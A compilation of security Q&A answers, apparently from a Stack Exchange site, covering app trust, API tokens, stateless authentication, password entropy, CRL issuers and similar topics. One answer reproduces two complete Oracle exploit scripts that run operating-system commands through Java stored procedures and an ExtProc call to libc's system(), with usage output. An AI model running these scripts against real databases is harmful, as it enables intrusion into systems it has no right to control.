operating system to do the 'right thing'. After all, it has full access to anything
you do on that device. Likewise, when you decide to use an application on that
system, you are implicitly trusting that application to do the right thing. Even if
you don't use the address book and manually enter contact details, like a phone
number, each time, you are trusting it doesn't send details to an unauthorised 3rd
party.

The challenge is in determining what level of trust to assign to an operating system
or an application. This may seem challenging, but it is really just an extension of
something we do all the time and the same general guidelines can be used. We make
decisions about trust every day. When you send your car for maintenance, you are
trusting that the mechanic will do the 'right thing', when you visit your doctor, you
are trusting they will do the right thing, each time you drive on the road, your
trusting that other drivers will do the right thing. The techniques we use to
determine what level of trust we assign in these activities use the same principals
we should apply when making a decision about an application. In general terms, this
comes down to reputation, legislation and what could be referred to as intuition.

Reputation. When you select a mechanic or a doctor, you might ask around and see
what others think of them. You might check their reputation with a reputable
industry body, accreditation authority or ask others whose opinion you trust. The
same approach can be used for applications - see what the industry reviews have to
say, talk to other users, review what their privacy statement is. The extent you go
to will depend on a combination of how you assess the risk i.e. what is the
likelihood that those who wrote the app will do the right thing and what would be
the consequence to you if they don't. You will also mediate this by your own level
of risk comfort or appetite - some people are very risk adverse and are
uncomfortable with relatively low levels of risk, others have a greater appetite
and are willing to accept more risk. One of the reasons that things like the Apple
app store has been so popular is that supposedly Apple does some vetting of the
apps in the store, giving you some increased confidence that at least Apple thinks
the application is moderately OK. This in itself is not a guarantee, but it is a
higher guarantee than you get downloading and installing an app from some random
web site you know nothing about.
Legislation. In many cases, there is varying levels of legislative protection which
might increase your level of trust. You might verify a mechanic, a doctor etc has
obtained minimum levels of qualification to practice, has mandatory insurance or
meets minimum legislative compliance requirements, is licensed to operate or in the
case of driving, has a valid license. Sometimes, as is the case with driving, you
can assume the other drivers on the road are licensed and know the road rules on
the basis that law enforcement monitors the situation and has penalties for those
who don't which are sufficient to minimise the risk you will come across an
unlicensed driver who does not know the road rules. You have no guarantee, but you
can be reasonably confident that the likelihood is low.
Intuition. This is your overall gut feeling. You might reject a mechanic or a
doctor despite having verified they have a good reputation, have al the necessary
accreditation, licenses, insurance etc, simply because you don't feel comfortable
with them, don't like their manner or just feel somehow uneasy about them. Trust
this intuition. The same goes with applications. You have to trust them at some
level and you need to feel comfortable about that trust.

Are you being overly paranoid? Yes and no. On the whole, we probably should all be a
little more paranoid. We shouldn't just download some app and start using it. We
should investigate it first - find out what sort of reputation the app and the vendor
have, talk to other users, check their website and look at their privacy statement
and terms of use, think about the likelihood and consequences of the app doing the
wrong thing. Depending on the app, there may be legislation or accreditation which
may help (for example, some countries have legislation which require service
providers to disclose details of security incidents, guarantees about how data is
manged, shared and disposed etc. There are various associations which require their
members to obey certain ethical codes in order to be a member which might have a
baring on the level of trust your willing to hand over etc.

Where you may be getting a bit paranoid is in thinking about encryption and other
mechanisms to try an improve your level of privacy protection. Most of these types od
ideas are not vary practical and the level of inconvenience they impose is usually
unacceptable (though this will depend on individual circumstances). For example,
encrypting your address book is is unlikely to help. At some point, the application
will need to know the decryption key in order to use the address book. Once you
provide that key, the app has full access. Yes, you could encrypt every entry with a
different key, but then you would have to provide a unique key to the app for every
entry and you would need to remember all of those keys.

Currently, for most people, it is still too hard to easily assess an arbitrary
application. This is especially true for new applications which have not yet
developed any real reputation you can use. Likewise, there are as many bad, difficult
to verify accreditation schemes out there as there are good ones (look at the Madison
Ashely site - it had banners all over the place claiming accreditation from various
security and other 'bodies' claiming it was secure and safe).

I think one of the best assessment rules is still "there is no such thing as a free
lunch". Basically, if it sounds too good to be true, then it probably is. Software
tends to take a lot of time to develop, which means a lot of money. People who do
this are generally looking for some sort of reward. Sometimes, it can be reputation,
but more often than not, it is financial. If you cannot see what the financial basis
or operating model is i.e. how can they afford to do this?, then you should be
suspicious that perhaps the app is making its money some other way, such as selling
your data to a 3rd party. Avoid installing applications from random web sites you
know nothing about, especially if the software is free. Be wary of applications which
provide a service that could have questionable ethical standards - for example, any
application which claims to help avoid paying a fee, provide free access to a service
which you normally need to pay for, etc. If the stated objective of the app sounds a
little unethical, it is likely those who created it have similar ethics (or lack of
them) and you probably don't want to trust them with your data.

Privacy is not a binary proposition - it isn't a simple 'it is' or 'it isn't'. It has
to be considered in context. What we really need is increased disclosure, not
increased encryption. Encryption has an important role, but far more important is
having sufficient information to allow us to make an informed choice. We should know
what a vendor does with our data, how they collect it, who they share it with, how
they store it and how/when they destroy it. Vendors need to treat our data with more
respect and tell us what they are doing. With this information, we can then make the
decision as to whether the convenience is warranted and within what each individual
is willing to accept.


Generating request-specific token for an API

Not terribly useful I think.  The attacker doesn't even have to understand your obfuscation - if they have access to the routines (I assume they do since its on the client) the attacker can just steal your code and run the same parameters through to create their hash.

If the server serves up previous pages that this is requested from, then you can add a one time token/nonce (a bit like a CSRF token) to the API.  This would make the subsequent request pretty much impossible to replicate without requesting the previous page first and getting their own token.

But even with this strategy, a scraper could always go back to an entry point page/URL and play through the sequence of requests as if they were a normal user.  This is likely to be a valid attack no matter what obfuscation you use since it's going to be indistinguishable from a valid user.


Does Integrity assures protection from unauthorized read, without any modification?

A signature scheme can only then assure integrity, if the signing keys are kept secret.

Here's a definition for integrity: Data remain in their given state if at rest.

Side notes: Integrity is lost, when data is edited. If they are edited by someone that is authorized to change them, integrity is still lost. If a scheme is in place, to authorize systems or people to change data, it can be shown, who modified them. It does not (typically) include if data has been read.


You can try this two ways of executing code on Oracle DBMS.

The first is with Java code: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql

-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
    /*
     * Command execution module
     */
    public static void execCommand(String command) throws IOException
    {
        Runtime.getRuntime().exec(command);
    }

    /*
     * File reading module
     */
    public static void readFile(String filename) throws IOException
    {
        FileReader f = new FileReader(filename);
        BufferedReader fr = new BufferedReader(f);
        String text = fr.readLine();
        while (text != null) {
            System.out.println(text);
            text = fr.readLine();
        }
        fr.close();
    }

    /*
     * File writing module
     */
    public static void writeFile(String filename, String line) throws IOException
    {
        FileWriter f = new FileWriter(filename, true); /* append */
        BufferedWriter fw = new BufferedWriter(f);
        fw.write(line);
        fw.write("\n");
        fw.close();
    }
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/

The second is using ExtProc: http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql

-- Usage example:
-- $ echo $ORACLE_HOME
-- /opt/oracle/
-- $ sqlplus "/ as sysdba"
-- [...]
-- Connected to:
-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production
-- With the Partitioning, OLAP and Oracle Data Mining options
-- JServer Release 9.2.0.1.0 - Production
-- SQL> @raptor_oraextproc.sql
-- [...]
-- exec oracmd32.exec('touch /tmp/32');
-- [...]
-- ERROR at line 1:
-- ORA-06520: PL/SQL: Error loading external library
-- ORA-06522: ld.so.1: extprocPLSExtProc: fatal:
-- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class:
-- ELFCLASS32
-- [...]
-- SQL> exec oracmd64.exec('touch /tmp/64');
-- SQL> !ls -l /tmp/64
-- -rw-r--r--   1 oracle   orainst        0 Dec 19 13:49 /tmp/64
--

-- library for 32-bit oracle releases
create or replace library exec_shell32 as
'$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1';
/

-- library for 64-bit oracle releases
create or replace library exec_shell64 as
'$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1';
/

-- package for 32-bit oracle releases
-- usage: exec oracmd32.exec('command');
create or replace package oracmd32 as
    procedure exec(cmdstring in char);
end oracmd32;
/
create or replace package body oracmd32 as
    procedure exec(cmdstring in char)
    is external
    name "system"
    library exec_shell32
    language c;
end oracmd32;
/

-- package for 64-bit oracle releases
-- usage: exec oracmd64.exec('command');
create or replace package oracmd64 as
    procedure exec(cmdstring in char);
end oracmd64;
/
create or replace package body oracmd64 as
    procedure exec(cmdstring in char)
    is external
    name "system"
    library exec_shell64
    language c;
end oracmd64;
/


Test for OWASP Using Components with Known Vulnerabilities?

Whilst it is sometimes possible to identify this issue whilst doing an external black-box web application review, for example by identifying outdated JavaScript libraries using retire.js, or identifying outdated web server software from banner version numbers, in general the best way to check for this is to carry out a credentialed review of the systems involved in the application to confirm the versions of software in use and check for any known issues.

With a blackbox scan you're either relying on identifying the in-use version via strings in the file (or some other heuristic) or exploiting the vulnerabilities in question.

With a whitebox review it can be easier to do, as with software which is packaged, you can more easily check the installed versions.


Is it possible to have authentication without state

To some extent, you can offload state on the clients. You encode the access rights of a user into a blob to which you add a MAC computed with a server secret key. The blob-with-MAC is then sent to the client. Later on, the client comes back and shows the blob; the server verifies the MAC and thus makes sure that the blob is legitimate. This maps reasonably well on HTTP cookies. Possibly, the blob could contain some encrypted data (there again with a server-only symmetric key) if the server wants to store some user-related data without making it visible to the user.

Trouble begins when you want to revoke or change rights. You cannot prevent a client from showing a stale blob. This can be coped with by using a combination of expiration dates (the blob contains a date and is valid for, e.g., one week) and, if need be, revocation lists (the server knows a list of blobs that it must reject, even if their MAC looks good -- this is state, but not much because the wide majority of access rights do not get revoked).

If the entity issuing the access rights (the one which creates the blob) and the entity verifying the access rights (the one which verifies the MAC) are not the same, then you need to replace the MAC with a digital signature scheme.


How can I strip sensitive data out of a Wireshark log report?

Are you sure that the data in the capture is sensitive data?  If it's the MAC address that you are worried about, I can assure you that it is not sensitive, and not useful at all to any potential attacker.
MAC addresses are not traceable nor are they used for any kind of authentication (besides WIFI whitelists, which would require the technician to actually be within range of your WIFI network).
Infact, in the normal run of things, the MAC address never leaves your local network (I.E. It never gets to the internet).

Similarly, local IP addresses will not go out to the internet, and will be changed by your router/modem.


If you know the libc version, it is possibly to find a dynamic linker (ld) through a package database and download it.
To run the binary with a linker and libc that aren't your system defaults, you can use the environment variable LD_PRELOAD to specify the library and pass the binary as an argument to the linker.
For example, if given the files libc-2.27.so and vuln, you would find a ./ld-2.27.so online to match the libc version.
Then, to run the binary with the correct libc, you could use:
$ LD_PRELOAD=/path/to/libc-2.27.so ./ld-2.27.so ./vuln

It is possible to use this in pwntools with:
#!/usr/bin/env python3

from pwn import *

bin = ELF("./vuln")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = bin

io = process([ld.path, bin.path], env={"LD_PRELOAD": libc.path})

I would also recommend looking at pwninit, which will automatically find and download a linker for your libc and write the pwntools stub.


What are the security issues relating to macro enabled MS office documents?

There have been several macro viruses in the past where they install macros on any document one opens, though it's been a while since I've seen this attack in use. This kind of malware even rates it's own wikipedia article.


Should I use own constants when using well known hashing algorithms?

No.  The constants are part of what make the hash secure, and the constants in the specifications are what have been used in the cryptographic community's examinations of the hash functions that we currently believe are safe.   It has been shown that intentionally badly chosen constants can break a hash function in subtle but exploitable ways, and coming up with your own constants could inadvertently leave you with a weak hash function as well.


What are the risks of placing Amazon Resource Names (ARNs) in VCS repositories?

Probably none, unless you have insecure users.

I base this largely on the AWS Best Practices documentation, which (1) says nothing about protecting your account ID, and (2) encourages using roles to permit inter-account access. Since a role ARN contains the account ID, and they don't explicitly caution you to only share the ARN with a trusted party, one can assume that the account ID isn't very valuable.

That said, the account ID can be used to access a sign-in page that's specific to your account. If you have users with easily guessable names and passwords, it's possible that knowledge of your account ID can give attackers a way to exploit those users. I don't know how or if Amazon responds to brute force login attempts, so this may not be an issue either.


Is it reasonable to use a security proxy when integrating two web applications?

Let us assume that updating or replacing application B is not an option, that you're trying to retrofit security onto a legacy application.

In that case, my recommendation would be to use a WAF as "the most secure way to make the API created for the integration accessible from the outside and prevent access to everything else in application B?"

A Web Application Firewall is a mix of a proxy, as you've suggested, and a web app focused IDS/IPS.  Examples would be F5's Application Security Manager (ASM) and Imperva's SecureSphere.

At a minimum, a WAF will allow you control over the APIs that are accessed.  For example, if application B is RESTful, then the WAF can be used to prohibit access to this part of the API while also permitting access to that part of the API.  Depending on how the application is written, and the flexibility of the WAF, this can be true for multiple types of API (F5 iRules allow custom filters to be written in great power and detail).

In addition, a WAF will look for various attacks, things like parser attacks, overflows, command invocations, all the things you don't want someone sending to your legacy application server.


WPA2-EAP-TLS with global client certificate

Since you don't care about authentication, why not use OWE (opportunistic wireless encryption) instead of WPA2? If your hardware supports it, it provides an open network that encrypts each client's traffic. There would be no need to mess with certificates.


What is the attacker trying to do? (maybe just spam my form)

It looks like the attacker is trying to get your page to spit out some information, such as the full path of your webserver.

For example, if you start using multibyte data in most functions (in PHP at least) which don't start with mb_* then it will throw an error, something along the lines of:

Function does not accept Mutlibyte characters in "/var/www/site/script.php" on line 132

Which then gives the attacker a lot more information about your server, which you don't want them to know.

You can mitigate this by turning error reporting off, or have your own error capturing mechanism.


Are there any real life scenarios where usage of the Gutmann method is appropriate?

Assuming an adversary is able to get data off the raw chips, over-provisioning on solid state drives could leave data behind after a single wipe. In this scenario multiple passes would help remove data on the extra storage. Depending on what kind of data and adversaries you have 10+ passes could be justified, though why you wouldn't just destroy the drive and chips at that point is beyond me.


How can a malicious URL affect a computer?

You can be infected via the use of what is called a drive-by-download exploit.   This is how  malware  can download and install itself on your machine simply by loading a web page that contains it.

It works by finding vulnerabilities that allow it to escape whatever sandboxes it is supposed to be playing in, and execute arbitrary, malicious code on your machine.

Years ago, when early versions of Internet Explorer were the most popular browsers on the web, ActiveX components were the most popular vectors for drive-by-downloads.  Presently, other drive-by download vectors appeared such as with Flash Player plugins, Java applets, or PDF and images.  In all case, JavaScript is the primary vector that, if used properly by a miscreant, can lead to a drive-by download attacks such as the attack on Firefox that was used to expose personally identifying data for some Tor users.


How do you secure service account password on enterprise windows enviroment?

Jason Fossen, the SANS instructor for SEC505, posted a great article about this (below).  While the topic is for local accounts, one could use his script for domain accounts as well.  He also mentions some of the commercial solutions too.

Reset Local Administrator Password Using A Different Random String On Each Computer And Recover The Passwords Securely


Is a JavaScript implementation of AES any less secure than other language implementations?

AES is a specification that can be implemented in any programming language.

If you are thinking about doing encryption in JavaScript to avoid using https, this will not be secure: Transmitting the HTML file or any included JavaScript via an http connection allows an attacker to modify it. So in addition to doing the encryption it can send the information unencrypted to another server.


Why have some criminals moved from Tor-based forums to Telegram and similar services?

The need for anonymity
The main issue with moving off of an anonymity network to Discord or Telegram is that they are not designed for anonymity. The Tor network is designed specifically to hide the origin of the communications. There is no single centralized entity which can be forced into disclosing logs, because no single Tor relay simultaneously knows both the contents of the messages and their origin. For things like Discord or Telegram, the mere participation in a criminal chat room can be incriminating even if the contents of the conversations themselves are kept private.
A criminal network requires a few things to continue to exist. If you assume that infiltration is a risk (e.g. that members of the group may be coerced into turning into a narc), then a requirement is that the pseudonyms of users cannot be tied to their real-life identity using any technical means. A service not designed with anonymity in mind will be vulnerable to infiltration. The only way to avoid this would be to access the chat service through an anonymity network like Tor anyway and register using an anonymous identity, e.g. with a throwaway online phone number. This requires consistently good opsec, and a single slip-up or misunderstanding can spell disaster.
Issues with Discord and Telegram
There are some specific problems with using Discord or Telegram, other than requiring a mobile number. Discord is not end-to-end encrypted, so the server itself can keep logs of both IP addresses and message contents along with the regular metadata. And Telegram, while it makes attempts to be secure, has been heavily criticized for providing very poor and amateur encryption. It would be possible to create real-time chat services that do not have these problems (such as IRC private messages using end-to-end encrypted OTR), but this on its own will not provide anonymity, which is necessary for a group (criminal or otherwise) trying to exist in an adversarial environment.
When using a non-anonymous service like this, an adversary can do many things. They can:

Learn a user's pseudonymous identity.

Learn a user's real identity.

Monitor the user's communications.

Detect access to the service at the level of the ISP.

All this is possible as soon as they know the group exists. If the service being used is designed correctly to be anonymous and uses properly-implemented end-to-end encryption, they can only:

Learn a user's pseudonymous identity, if they infiltrate the group.

Monitor the user's communications, if they infiltrate the group.

In this latter case, the only way things could go wrong is if one of the users made a fatal opsec mistake, giving away personal information which can be used to identify them. A lot of opsec is required for a criminal (or otherwise targeted) group to exist, and even when following sophisticated rules, a single mistake can bring down the group and reveal the identities of many individual members. A famous case is the Yardbird group, where the leader would require that everyone maintain high-quality opsec. Eventually the group's existence was revealed when one of the members was arrested on other charges. This allowed the group to be infiltrated, and in the end, the only people who are still free are the people who used Tor. Every VPN user was caught.
Why people do stupid things
People sometimes leave anonymity networks because they are, by necessity, rather slow. For someone used to high-speed internet, the latency caused by Tor may be an inconvenience. This can drive them to move to alternatives, even if these alternatives are less secure for their purposes. Fundamentally, there is no security downside to using a Tor-based messaging platform (whether a real-time chat system or a regular forum) compared to a non-Tor-based platform.
Consistent good opsec is among the biggest hurdles for any group existing in an adversarial environment. It is so easy for people to get fed up with a less convenient but secure solution such as Tor and break their opsec. For example, a Tor user who is the target of a criminal investigation could be linked to a honeypot site with content that they would find interesting. If the honeypot blocks Tor, a surprising amount of people will turn off Tor to visit it "just once", revealing their IP. The Snowden leaks also revealed the existence of NSA programs which would attempt a DoS attack (via TCP hijacking to inject an RST) against targeted Tor users, preventing them from using the service in hopes that they would get frustrated and move to a less-anonymous alternative.


How to share sensitive documents with unknown/untrusted parties?

There is no way to be sure that the resipient won't retransmit your documents unsecured to others.

You could use password secured PDF files, theoretically they sould be safe if you forbit to print and edit them. But even in this case, one could easily take a screenshot and get the crititcal Information out of the PDF.
Or someone resends your files in the same mail together with the password.

As long as you don't trust the recipient you can't really be sure what happens to your files. But the same logic applies to a normal letter or each other form of communication as this is not really a technical problem but a problem with humans ;)


How can a SSL certificate dermine the encryption strength

In my opinion, the SSL certificate is only used to verify the identity of the server. The encryption strength is related to the configuration of the server.

Correct, the certificate does not determine the strength of symmetric encryption at all. DigiCert is just ticking the expected buzzwords so that the users feel safe.


Your second "salt" is a concept which has been described as "peppering". Basically, it works, but has the drawback of implying key management (the "pepper" being really what cryptographers would call a secret key): when you update the software, or switch to newer machines, you have to take care of transferring the pepper value, otherwise you will make all your hashes unverifiable.

Peppering is best done by first computing the hash in the normal way, and then computing some HMAC over it, with the pepper as key. In the database, you store the hash parameters (salt, iteration count) and the HMAC output (but not the hash value itself, of course). This works, notably, because HMAC is deterministic.


Do you think that you can have a rootkit installed that does not allow you to see the offending process?

Another idea is to use the command watch, to try to spot the offending process.

watch -d 'lsof -i tcp:22'

watch -d highlights the differences. It runs the command every 2 secs.

lsof -i tcp:22 gives you a list of processes that use TCP connections on port 22.

In case you suspect of a rootkit, you can compile busybox and use it to check your processes and open files.


Is it possible to prevent SSL stripping attack via DNSSEC or IPSEC?

DNSSec does only prevent SSL stripping if the man in the middle attack needed for the SSL stripping attack was done using DNS spoofing. If done the more common ways like ARP spoofing or DHCP spoofing or similar it does not prevent SSL stripping.

Similar IPSec does not prevent SSL stripping if the attacker is inside the same with IPSec protected network, i.e. using a system which is part of the network. It will only prevent SSL stripping if the attacker is not part of the IPSec network and only can see the already encrypted (with IPSec) traffic.


Different ping and download speed between Windows and Linux machines

On Windows systems, enabling power saving modes ("Power Plans") can reduce networking performance (especially with wireless connections). My laptop with CentOS 7 and Windows 7 experiences the same effect, until I set my Windows Power Plan to be "High Performance". After that, download speeds are identical, if not close enough.

Super User has a post about how to change power plans: https://superuser.com/questions/957500/easy-way-to-switch-power-plan-in-windows-10


Digitally signing a document with your public/private keypair without certificates?

You can generate your own certificate. The certificate is then used to digitally sign data, including signing a PDF. This type of certificate is a "self-signed" certificate.

Documents signed with a self-signed certificate are usually regarded with mistrust since there is no inherent trust relationship between the signer's certificate and the relying party (recipient).

Whether documents signed with a self-signed certificate are "legal" or not depends on the transaction, country, applicable laws and regulations.

DocuSign (my company) has an overview of the legal issues for eSignatures in each country.

Also remember that 99.99% of signed documents are never challenged in court. So the other way of looking at it is: if the recipient accepts the document signed in the way that you propose, then that's good enough.

Don't worry about being "catgorized as a certificate-provider" unless you start providing certificates to others.

Re: is a scan of a piece of paper that was wet-signed an electronic signature? Yes it is. That's called a "Basic Electronic Signature." It is fully legal in many jurisdictions for many types of transactions. It is also NOT legal in many jurisdictions for many types of transactions.


Does WPA3 OWE mean the return of Evil Twins?

Short answer: No, they never left

OWE is not meant to replace PSK, it's meant to enhance open networks by encrypting them, but doesn't provide authentication. For that you still need a PSK or Enterprise configuration. As such, you have the same problem with "evil twins", aka MitMs, in WPA3 OWE networks as you have in unprotected networks.


Why we should not mix http and https when using iframes?

[HTTP on HTTPS]By mixing http with https you'll endup with mixed content in your site(in websites) hence the green code in your site that indicates your site is secure will be replaced with a site-is-insecure for that specific page that contains a http call.

Its insecure because generally you'll be serving content on a secure protocol via an insecure tunnel(info on that page can be accessed via a HTTP link) . Anyone with a little know how of how things work on the web can easily intercept the data and even maybe rewrite it for his/her/its own benefits. Imagine if for example Google was serving its services via HTTP, think of how many phishing grounds that would create(hackers trying to get sensitive data), users would no longer be able to know which is the actual secure site and they would end up loosing if not all at least a third of its customers.


Why don't browsers block cross-site POSTs by default?

In theory your suggestion is perfectly reasonable. If browsers blocked all cross origin POST requests by default, and it required a CORS policy to unlock them, a lot of all the CSRF vulnerabilities out there would magically disappear. As a developer, you would only need to make sure to not change server state on GET requests. No tokens would be needed. That would be nice.

But that is not how the internet was built back in the day, and there is no way to change it now. There are many legitimate uses of cross origin POST requests. If browsers suddenly changed the rules mid game and forbade this, sites relying on the old rules would stop working. Breaking existing sites like that is something that we try to avoid to the largest extent possible. Unfortunately we have to live with our past.

So is there any way we could tweak the system to work better without breaking anything? One way would be to introduce a new HTTP verb, let's call it PEST, that works just like POST only that all PEST requests are preflighted and subject to CORS policies. That is just a silly suggestion I made up, but it shows how we can develop the standards without breaking them.


How to properly calculate password entropy

E = log2(RL)

That would be a good formula, if passwords were randomly and uniformly chosen across the character set. (Although wouldn't it be R^L?). Unfortunately humans are ludicrously non-uniformly random in choosing passwords; someone's password is far more likely to be password123 than ensr33nuo95 even though they are both 11 lowers and numbers.

Another way to think about password entropy is to assume some guessing strategy, and then ask how many guesses until you guess correctly. For example my "guess order" might be:

Try top 1 million most common password from breach data
Try all English words in alphabetical order, with and without caps, with !@#$%^. at the end, with 1337 s*bs, etc
Repeat for pairs of words, with and without spaces
Repeat for triplets of words, with and without spaces
etc

Then for a given password you can compute

E = log2(num_guesses_until_correct) = log2(pos_in_guess_list)

This entropy measure is clearly just an estimate because it depends heavily on which guessing algorithm / guess order I assumed. For example, my guessing algorithm above would never try qazwsxedc even though it's an obvious keyboard pattern.

Real entropy estimators are heuristic, I think giving your password a base score for length, and then taking off points for dictionary words, keyboard patterns, etc, giving extra points for caps and symbols. If done right, the entropy estimate should line up roughly with the number of guesses it would take an attacker using standard wordlists and algorithms.

If you want to take a look at a real entropy estimator, then take a look at  zxcvbn/src/scoring.coffee.


Should a Web site be allowed to use a third party web service directly?

I am very pleased to have stumbled upon this question as it is a common yet mostly wrongly handled situation.

My answer is there has to be an internal service to serve the purpose of consuming/feeding to a 3rd party service and my rationale is as below.

It helps me track all the occurrences of internal services catering to 3PEs. (assume one day after 1 year you've to find all the 3PEs and you've no clue where they are scattered throughout the code and what their names are, but if you have internal service doing the middlemen work you know exactly what to look for). External association auditing made easy.
If the service gets some issue at the 3rd party end, you've got a possible chance to achieve graceful failures.
You keep track of all the data the 3PEs gonna deliver/consume so you know exactly what comes in and goes out.
In very specific situations these sort of 3PEs need to be done after a Security Architecture review (ex. Banking domain) which involves review of supplier, service, data, privileges, and many more. Having an internal service removes the dependency of 3rd party code being trusted fully. (there is no trust in infosec, right?)

There is a drawback too though. Every time the external service modifies itself, you've to make relevant changes to your internal service accordingly. But that can be tolerated due to the advantages it brings in.

Last point, if you are aiming for PCI-DSS or any other audits you can always add up the report of your 3PEs and the way you handle them using internal services in your secure coding practices evidence list.

Hope this helps.


No, not unless there were a critical VM-escape vulnerability in the VM hypervisor.


How to prevent DDoS to cause stored data inconveniences?

If your firewall (iptables) can filter out DDoS and the only problem are firewall logs, the only problem might be disk (partition) size and write speed. If your services are also hit by DDoS, firewall logs are not a problem, as you mentioned you probably run out of resources like RAM and CPU (causing hude system slowdown) much sooner. If you run out of disk space, it's up to particular apps how they handle this situation. Additionally huge disk write will slow down apps from reading data, so there will be a slow down. But it will not damage your disk, it will not destroy any stored data etc. And if the system is running, there should be no reason to move disk to another machine only to clean the log files (at least in any common situation there shouldn't be).

EDIT:
As for your final question - physical/box firewall runs in many cases exactly the same software you already have - iptables + rules. So everything you can do on your own server, you can also do with physical firewall, but it's not necessary. Separate firewall will limit firewall logs to separate machine, but it's not a huge difference. DDoS can operate on many layers and ie Web App Firewall (WAF) is not exactly the same type of firewall like the one working on TCP/IP level - in many cases they don't work as expected because on other layers it's much harder to filter out traffic for all types of existing web apps.

Bottom line - DDoS is not easy to filter out in generic way, working for everyone.

Oh, and there is already great answer How do major sites prevent DDoS?


How to trust a CA to sign a CRL but not a cert?

If the entity is supposed to sign CRL but not certificates, then it is not a CA -- it is a CRL issuer. It is often called an indirect CRL issuer because, by definition, it is distinct from the CA that issued the certificates whose revocation status is specified by the CRL.

A certificate may be validated as a CA only if (among other things) it has a Basic Constraints extension that contains a cA flag of value TRUE. If you do not want your CRL issuer certificate to be mistaken as a CA certificate, simply make sure that it does not contain the Basic Constraints extension, or, if it contains such an extension, that the cA flag has value FALSE.

To make the certificate acceptable as a CRL issuer, you may have some other things to do:

If there is a Key Usage extension, the cRLSign flag shall be set.
The CRL should include an Issuing Distribution Point extension with the indirectCRL flag set to TRUE.
The CRL issuer name and IDP extension contents shall match those of the CRL Distribution Points extension in the certificates whose status is to be asserted through the CRL. The rules are intricate.

Be warned that indirect CRL are poorly supported. In particular, since the CRL issuer's certificates is not a CA, it is not part of the main certificate chain. As such, it won't be included in, for instance, the sets of certificates sent by SSL clients and servers. Therefore, the indirect CRL will be usable only by systems that are ready to download extra certificates, or have such certificates made available to them through some other method.


Most access control / authorization flaws would never be found by a (generic) tool, because it does not have the understanding of what is supposed to be accessible and what not. (Having said that, experienced pentesters probably know that quite a lot of applications also don't have this documented...) So that is an example of a whole class of problems.

Any logic flaw (for example a user being able to create another user with more privileges by design) would also not be picked up by an automated tool.

Any chain of vulnerabilities would not be correlated, like for instance how to use a low risk info leak, together with a medium risk DOM XSS together with another low risk vulnerability to change a user's password to anything the attacker wants (this is an actual example I have seen).

Testing DOM XSS with a plain (usual) scanner like most of those commercial tools is quite difficult as they don't have a Javascript runtime, so they will miss most of it.

Also for things that are testable, a tool may have several patterns to try, but will probably miss more complex cases. For example what if an application had a blacklist filter for XSS that explicitly blocks alert(1) and all of the attack vectors from the tool had that as the payload? Getting through a blacklist filter is almost always possible, but is very hard for an automated tool.

Or consider DoS. How would an automated tool find that?

For a final example, what about buffer overflow in an uploaded and processed file, say a user uploads an image which gets resized by a server side library, vulnerable to bof. How could the automated tool know that's the case and how would it create an exploit for it?

These are just a bunch of examples, I'm sure others will cite a lot more.

In short,

there are whole classes of vulnerabilities that cannot be tested for in the generic case
even for vulnerabilities that are automatically testable, it is pretty much impossible to write comprehensive tests (a set of tests that finds all instances of the vulnerability).

Of course with all of this in mind, I think there is nothing wrong with using tools to make several things quicker. However, any result from a tool needs to be reproduced by the tester, and also he must be aware of the limitations of the tool to be able to augment results with more creative attacks.


Using mutiple keys to encrypt the same text with the password as a key but someone changes their password

But what if someone changes their password? Then their password key
  won't be able to access their encrypted messages. What's the best way
  to go about this?

When someone changes their password, every system I am familiar with requires the user to type in both the old password and the new password.

simple

If there is only a small amount of encrypted data, and you want your user to be able to access that data with only the new password, the simplest approach is to decrypt all that data with the old password to recover the plaintext, and then encrypt the plaintext using the new password.

indirection

My understanding is that many systems have several levels of indirection.
When someone wants to read the plaintext of one document, behind the scenes what really happens is the typed-in password is used to decrypt a keyring that stores (in encrypted form) a master key.
(typically the "~/.ssh/id_rsa" file or the "~/Library/Keychains/" file).

The encrypted document is typically stored in RFC 4880 OpenPGP Message Format or something similar.
The master key is used to decrypt one of the blocks in the header corresponding to that master key, giving the unique symmetric key used only for the body of this one document.
Then that symmetric key is used to decrypt the body of the encrypted document, producing the plaintext.

When someone changes to a new password, generally the old password is used decrypt the entire keyring, and then the system encrypts the keyring with the new password.
All the files are still accessible to that user, because the exact same master key is used to decrypt that file.

Alternatively, for each document the user has permission to access, one could add another block to the header of that encrypted file that contains an encrypted version of the same document-unique symmetric key, encrypted by a fresh new master key.

Ideally the user would carry around his own keyring and no one else would ever have access to it.
In practice, many systems store an (encrypted) keyring for each user.


What category of anonymity do onion routing and blockchains afford?

